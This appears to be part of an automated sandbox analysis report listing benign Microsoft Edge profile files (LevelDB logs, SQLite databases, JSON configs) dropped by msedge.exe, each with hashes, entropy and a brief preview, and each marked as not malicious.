SSDEEP:	6:7xGN+q2P923oH+TcwtzjqEKj3K/2jMGIFUt8OxT1Zmw+Ox1VkwO923oH+Tcwtzjk:7IIv4YebvqBQFUt8OL/+Ot5LYebvqBvJ
MD5:	6CE5D29C3DD528A34F5EA7A082308C68
SHA1:	64AC5E2BE7EDB54CB2D5068A761E50FFBB0A0338
SHA-256:	51CDD31971792CF1B7AEAFD353D785CBE80F6C3D0896C65AD9CA007B6B866557
SHA-512:	3627171E1A2E04E38A19DDDEA09FD7BAD51F410CDE4C1EEF7F84A7881589D3BFD3FE6AC15BD47ECE64814ED444815A3B363E4228B63600F69CD556F84DF8CFFB
Malicious:	false
Preview:	2024/12/12-06:09:25.435 1ef8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/12-06:09:25.438 1ef8 Recovering log #3.2024/12/12-06:09:25.441 1ef8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.235953857645655
Encrypted:	false
SSDEEP:	6:7xGN+q2P923oH+TcwtzjqEKj3K/2jMGIFUt8OxT1Zmw+Ox1VkwO923oH+Tcwtzjk:7IIv4YebvqBQFUt8OL/+Ot5LYebvqBvJ
MD5:	6CE5D29C3DD528A34F5EA7A082308C68
SHA1:	64AC5E2BE7EDB54CB2D5068A761E50FFBB0A0338
SHA-256:	51CDD31971792CF1B7AEAFD353D785CBE80F6C3D0896C65AD9CA007B6B866557
SHA-512:	3627171E1A2E04E38A19DDDEA09FD7BAD51F410CDE4C1EEF7F84A7881589D3BFD3FE6AC15BD47ECE64814ED444815A3B363E4228B63600F69CD556F84DF8CFFB
Malicious:	false
Preview:	2024/12/12-06:09:25.435 1ef8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/12-06:09:25.438 1ef8 Recovering log #3.2024/12/12-06:09:25.441 1ef8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\807f61f4-e22e-4173-9b13-0e6ab71802ef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3b2f5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b66c5d90-eadc-48ab-b4fe-c5df70774177.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e6ec4abf-4991-4123-be57-43a1401a1135.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.211465150788132
Encrypted:	false
SSDEEP:	12:7eZIv4YebvqBZFUt8OeCh/+OeBc5LYebvqBaJ:754Yebvyg8O95LYebvL
MD5:	A57452E7477EECD0FFAD33EB26AF0D8D
SHA1:	4D6FC512481AF99CF4EF9FD6E6B4C689C8A66D9F
SHA-256:	39D7C7C9F0CFBCFC5848FA662BDB693F7D36C40BED72A6E15E2581EA41AB155F
SHA-512:	C6FE0E2305B7C75E4320A426207DFB01D2A3AB5706AE651149DC8E15D37AACA7D98887CC94A1D0C15FE49A662E2A13B1F98F17A86267404B4BD34F06989A76B5
Malicious:	false
Preview:	2024/12/12-06:09:45.430 1ee0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/12-06:09:45.433 1ee0 Recovering log #3.2024/12/12-06:09:45.437 1ee0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.211465150788132
Encrypted:	false
SSDEEP:	12:7eZIv4YebvqBZFUt8OeCh/+OeBc5LYebvqBaJ:754Yebvyg8O95LYebvL
MD5:	A57452E7477EECD0FFAD33EB26AF0D8D
SHA1:	4D6FC512481AF99CF4EF9FD6E6B4C689C8A66D9F
SHA-256:	39D7C7C9F0CFBCFC5848FA662BDB693F7D36C40BED72A6E15E2581EA41AB155F
SHA-512:	C6FE0E2305B7C75E4320A426207DFB01D2A3AB5706AE651149DC8E15D37AACA7D98887CC94A1D0C15FE49A662E2A13B1F98F17A86267404B4BD34F06989A76B5
Malicious:	false
Preview:	2024/12/12-06:09:45.430 1ee0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/12-06:09:45.433 1ee0 Recovering log #3.2024/12/12-06:09:45.437 1ee0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.194738765860102
Encrypted:	false
SSDEEP:	6:7xfOq2P923oH+TcwtpIFUt8Ox6vZZmw+Ox6vzkwO923oH+Tcwta/WLJ:75Ov4YebmFUt8OUZ/+OUz5LYebaUJ
MD5:	7449900DD75F1FCF5C9EB9167B0176D6
SHA1:	676F3F49E1B83C263F29636F4A8E55E0B9A6E639
SHA-256:	C4DC08223FE34072BAA9BEE036B43920F74E5B708882E7A24313DF627E393DA8
SHA-512:	9CC09B765FDE377ADBEA018A004C4BC83DBEF6CECE161BA8F976C8D88866C57053D23A686AABD821867D51BC7D3C5F3B5C73E0E0C9246B84CBF0C48919DD9FF3
Malicious:	false
Preview:	2024/12/12-06:09:24.753 1e30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/12-06:09:24.754 1e30 Recovering log #3.2024/12/12-06:09:24.754 1e30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.194738765860102
Encrypted:	false
SSDEEP:	6:7xfOq2P923oH+TcwtpIFUt8Ox6vZZmw+Ox6vzkwO923oH+Tcwta/WLJ:75Ov4YebmFUt8OUZ/+OUz5LYebaUJ
MD5:	7449900DD75F1FCF5C9EB9167B0176D6
SHA1:	676F3F49E1B83C263F29636F4A8E55E0B9A6E639
SHA-256:	C4DC08223FE34072BAA9BEE036B43920F74E5B708882E7A24313DF627E393DA8
SHA-512:	9CC09B765FDE377ADBEA018A004C4BC83DBEF6CECE161BA8F976C8D88866C57053D23A686AABD821867D51BC7D3C5F3B5C73E0E0C9246B84CBF0C48919DD9FF3
Malicious:	false
Preview:	2024/12/12-06:09:24.753 1e30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/12-06:09:24.754 1e30 Recovering log #3.2024/12/12-06:09:24.754 1e30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2649983196031966
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMOSAELyKOMq+8yC8F/YfU5m+OlTLVumH:Bq+n0JO9ELyKOMq+8y9/Owo
MD5:	EF52599C31DDA58F4FD381B0D69C76CD
SHA1:	6E4319C5E7670061067E4D29F6CA3E1A8B2F2E99
SHA-256:	CAF5FD70193EF4164DB08099EFF9B1EC7E4C70AD606399EB89469600A2C3317B
SHA-512:	EA8074005BD27746C2F96571DDEFCD98E577B3ACB82977ACEEC84041E33DC318A9FE7C2F667C31B2ECBB3D9B535B9435672F14E7EDF2D35DF169135B21E3B142
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.41235120905181716
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB:v7doKsKuKZKlZNmu46yjx
MD5:	981F351994975A68A0DD3ECE5E889FD0
SHA1:	080D3386290A14A68FCE07709A572AF98097C52D
SHA-256:	3F0C0B2460E0AA2A94E0BF79C8944F2F4835D2701249B34A13FD200F7E5316D7
SHA-512:	C5930797C46EEC25D356BAEB6CFE37E9F462DEE2AE8866343B2C382DBAD45C1544EF720D520C4407F56874596B31EFD6822B58A9D3DAE6F85E47FF802DBAA20B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d53d0096-7af0-4265-a9cf-0e6c986260ef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.05757997978070695
Encrypted:	false
SSDEEP:	6:G309kxLHy09kxTllAR9XCChslotGLNl0ml/Vl/Vl/XoQXmlXn:RAHTY/ALpEjVl/PnvoQW1
MD5:	EB6E5152E05282508BF1374DBA0C24B6
SHA1:	A048095D6875BAC0B5E91DB07D91E7D0C08FE944
SHA-256:	C46B8D65DCA242CD1D06E3382A70385194DD9F2EA6DB7B6A89FAF7DDF526A864
SHA-512:	33B9E40ED4DDF7D5E24562769FE57CB4180944733BDF106F53602D7F6491700664681269E92C84BEF6351F4B793E4C6DB8BA5B00DE84D9AEDF4471ECD0925A6B
Malicious:	false
Preview:	..-.......................\|.Toh..4..}...I5.......-.......................\|.Toh..4..}...I5.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	103032
Entropy (8bit):	0.8059928034057987
Encrypted:	false
SSDEEP:	48:ywXzx8I/02TlO+scbX+on9VAKAFXX+hV2VAKAFXX+n8xOqVAKAFXX+vqnUYVAKAf:jjx7/02b2dNshTNsOO5NsvlNsEs5RC
MD5:	78734A9D42E5BDB681AE5EC4F4D9D746
SHA1:	A8E846323C49574D1D5590F4E28484168B301E69
SHA-256:	7B38631DBC281B07E185F4598FC820E93E0D9DBEC40DEC8FD5FB3DE0A3BF1D7A
SHA-512:	3A4CC633B79BD14C7202622F4C85374CA61C37DF866421F11EFB7CE995662952A0BC7D56467F5830C0F867600D76BB92CBDF1D3AE4285B86AB2B39AD04CCF226
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.2410822492357916
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuubz8D:iDO
MD5:	865BC68EC116EEC61A61F5979F36302D
SHA1:	EC3FC6BCF235D81F6BDC27CC889E85797AAD13D9
SHA-256:	23100E8EFD3B7C3C10264FF9907FB31E2F3397BF18770EBBBC8C9BA36FB66105
SHA-512:	5ECC29BAB6A06391F8D45F80FB7E31FA536E3E042753538B997F72E8C5681F4801950FB71D937FD4D9E1322E41811FF94D35571D82D7B37D0F82B32588F4F29B
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............E>k80................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.179398444100259
Encrypted:	false
SSDEEP:	6:7xn4yq2P923oH+TcwtfrK+IFUt8OxvJz1Zmw+OxvJlRkwO923oH+TcwtfrUeLJ:7N9v4Yeb23FUt8ORZ1/+ORJ5LYeb3J
MD5:	F83E151A463398DBFE1BAD03FF18FCF2
SHA1:	CE67FE90159A58338163327BC30A3D1B128A9C43
SHA-256:	CD38C295D2F000C59813AC9300999DCD85AEAA39F95E55C1DC97116911D82807
SHA-512:	2C6F16CEA13E0FE7A6787129DE4B03BFA700A906CCF37D2075D2556695C4AA0CFF8BA84C89845C7F06617D5FD52E707063DA1B4ACA1F219AADD6C2D42B90C61E
Malicious:	false
Preview:	2024/12/12-06:09:25.342 1e10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/12-06:09:25.343 1e10 Recovering log #3.2024/12/12-06:09:25.343 1e10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.179398444100259
Encrypted:	false
SSDEEP:	6:7xn4yq2P923oH+TcwtfrK+IFUt8OxvJz1Zmw+OxvJlRkwO923oH+TcwtfrUeLJ:7N9v4Yeb23FUt8ORZ1/+ORJ5LYeb3J
MD5:	F83E151A463398DBFE1BAD03FF18FCF2
SHA1:	CE67FE90159A58338163327BC30A3D1B128A9C43
SHA-256:	CD38C295D2F000C59813AC9300999DCD85AEAA39F95E55C1DC97116911D82807
SHA-512:	2C6F16CEA13E0FE7A6787129DE4B03BFA700A906CCF37D2075D2556695C4AA0CFF8BA84C89845C7F06617D5FD52E707063DA1B4ACA1F219AADD6C2D42B90C61E
Malicious:	false
Preview:	2024/12/12-06:09:25.342 1e10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/12-06:09:25.343 1e10 Recovering log #3.2024/12/12-06:09:25.343 1e10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.182922083675791
Encrypted:	false
